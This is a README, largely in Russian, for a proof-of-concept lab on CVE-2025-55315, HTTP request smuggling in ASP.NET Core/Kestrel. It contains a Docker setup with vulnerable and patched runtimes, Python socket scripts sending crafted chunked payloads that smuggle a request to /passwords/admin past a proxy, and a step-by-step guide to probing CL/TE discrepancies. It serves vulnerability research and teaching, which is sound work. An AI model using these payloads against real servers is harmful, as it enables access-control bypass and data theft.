
Proof-of-concept exploit for CVE-2025-55315 (.NET HTTP Request Smuggling). Demonstrates how improperly parsed chunked encoding lets attackers smuggle requests past proxies and load balancers in vulnerable ASP.NET Core/Kestrel servers.
Доказательство концепции эксплойта для CVE-2025-55315 (HTTP-контрабанда запросов в .NET). Демонстрирует, как неправильно разбираемое чанкированное кодирование позволяет злоумышленникам провозить запросы мимо прокси и балансировщиков нагрузки в уязвимых серверах ASP.NET Core/Kestrel.
Посмотреть интерактивную презентацию Prezi
🎥 Нажмите на значок выше, чтобы просмотреть полную интерактивную презентацию на Prezi
Dockerfile.vulnerable — использует .NET 10.0.100-rc.1 (уязвим к CVE-2025-55315)Dockerfile.patched — использует .NET 10.0.100 (исправленная версия)Примечание: Уязвимость находится в HTTP-парсере среды выполнения .NET (Kestrel), а не в коде приложения. Обе версии используют идентичный исходный код, но разные версии среды выполнения .NET.
# Сборка и запуск всех сервисов
docker-compose up --build
# Доступ к сервисам
# Unsafe API: http://localhost:5001
# Safe API: http://localhost:5002
# Python Proxy (exploit): http://localhost:5027
# YARP Proxy (балансировка нагрузки): http://localhost:5028
Подробные инструкции по использованию Docker см. в DOCKER.md.
Python-прокси демонстрирует CVE-2025-55315, отдавая предпочтение Content-Length перед Transfer-Encoding, что позволяет осуществлять HTTP-контрабанду запросов:
payload = (
"POST /passwords HTTP/1.1\r\n"
"Host: localhost:5027\r\n"
"Transfer-Encoding: chunked\r\n"
"\r\n"
"2;\n"
"xx\r\n"
"39\r\n"
"0\r\n"
"\r\n"
"GET /passwords/admin HTTP/1.1\r\n"
"Host: localhost:5001\r\n"
"\r\n"
"0\r\n"
"\r\n"
)
import socket
import time
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect(('localhost', 5027))
s.sendall(payload.encode())
# Read all available data
s.settimeout(2.0)
responses = b''
try:
while True:
chunk = s.recv(4096)
if not chunk:
break
responses += chunk
except socket.timeout:
pass
print("=== Complete Response ===")
print(responses.decode('utf-8', errors='ignore'))
print("\n=== Checking for smuggled request response ===")
if b'/passwords/admin' in responses or b'admin' in responses:
print("✓ Successfully smuggled request to /passwords/admin!")
else:
print("✗ Exploit failed or blocked")
Эта полезная нагрузка провозит второй запрос к /passwords/admin мимо проверки безопасности прокси, используя расхождение в том, как прокси и серверная часть разбирают запрос.
Вот как прокси и серверная часть по-разному интерпретируют одну и ту же полезную нагрузку:
Ключевые различия:
Подробное объяснение:
2;\n как допустимое объявление размера чанка (2 байта) → Читает xx как 2-байтовое тело чанка → Переходит к следующему чанку (39)\n как конец строки → Размер чанка по-прежнему 2, но заголовок расширяется через 2;\nxx\r\n → Читает 39 как часть тела чанка → 0\r\n завершает чанкGET /passwords/admin скрыт в том, что сервер считает данными чанка, но разбирается как отдельный запрос после завершения обработки чанковПровезённый запрос GET /passwords/admin скрыт в том, что прокси считает телом чанка, но сервер разбирает его как отдельный HTTP-запрос.
Перед эксплуатацией необходимо определить, какой HTTP-заголовок (Content-Length или Transfer-Encoding) предпочитают разные компоненты. Вот пошаговое руководство:
Отправьте запрос с обоими заголовками Content-Length и Transfer-Encoding: chunked, чтобы увидеть, какой из них уважает каждый компонент:
POST /passwords HTTP/1.1\r\n
Host: localhost:5001\r\n
Transfer-Encoding: chunked\r\n
Content-Length: 2\r\n
\r\n
6\r\n
Fabian\r\n
0\r\n
\r\n
Анализ:
Content-LengthTransfer-EncodingПроверьте все компоненты вашей архитектуры, чтобы найти расхождения:
# Используя Python
import socket
test_payload = (
"POST /passwords HTTP/1.1\r\n"
"Host: localhost:5001\r\n"
"Transfer-Encoding: chunked\r\n"
"Content-Length: 2\r\n"
"\r\n"
"6\r\n"
"Fabian\r\n"
"0\r\n"
"\r\n"
)
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect(('localhost', 5001))
s.sendall(test_payload.encode())
s.settimeout(1.0)
try:
response = s.recv(4096)
print("Unsafe API Response:", response.decode('utf-8', errors='ignore'))
except socket.timeout:
pass
# Измените порт на 5002 и протестируйте
# Safe API должен правильно обрабатывать конфликт
# Измените порт на 5027
# Python-прокси предпочитает Content-Length (уязвим)
# Измените порт на 5028
# Проверьте, как YARP обрабатывает конфликт заголовков
/passwordsTransfer-Encoding: chunked\r\n
Content-Length: 2\r\n
\r\n
6\r\n
Fabian\r\n
0\r\n
\r\n
Как только вы определили:
Content-Length (читает только N байт)Transfer-Encoding (читает чанкированное тело)Вы можете провезти второй запрос, который прокси не видит, но сервер обрабатывает.
Запустите полную полезную нагрузку эксплойта (см. раздел «Демонстрация эксплойта» выше) и подтвердите:
socket: Низкоуровневый контроль для точного форматирования HTTP--data-binary: Быстрое тестирование из командной строкиЭксплойт может быть создан несколькими способами. Экспериментируйте с разными подходами:
# Добавьте Content-Length, чтобы сделать десинхронизацию явной
payload = (
"POST /passwords HTTP/1.1\r\n"
"Host: localhost:5027\r\n"
"Content-Length: 75\r\n"
"Transfer-Encoding: chunked\r\n"
# ... остальная часть полезной нагрузки
)
\n как допустимый конец строки → Считает 2;\n размером чанка → Читает 2 байта (xx)\n → Заголовок чанка расширяется через 2;\nxx\r\n → 39 становится телом чанка → 0\r\n завершает чанкПопробуйте разные сценарии десинхронизации, изменив PythonProxy/proxy_server.py:
\n против \r\n)Экспериментируйте с:
|
ИНТЕРПРЕТАЦИЯ ПРОКСИ (Принимает |
ИНТЕРПРЕТАЦИЯ СЕРВЕРА (Отвергает |
| Компонент | Размер чанка 2;\n | Прочитано байт | Что происходит |
|---|
| Прокси | ✅ Допустимый размер чанка | 2 байта (xx) | Считает 2;\n полным заголовком чанка, читает 2 байта, переходит к следующему чанку |
| Сервер | ❌ Недопустимый конец строки | Всё ещё читает как чанк из 2 байт | Заголовок чанка не заканчивается до xx\r\n, поэтому 39 становится телом чанка, 0 завершает чанк |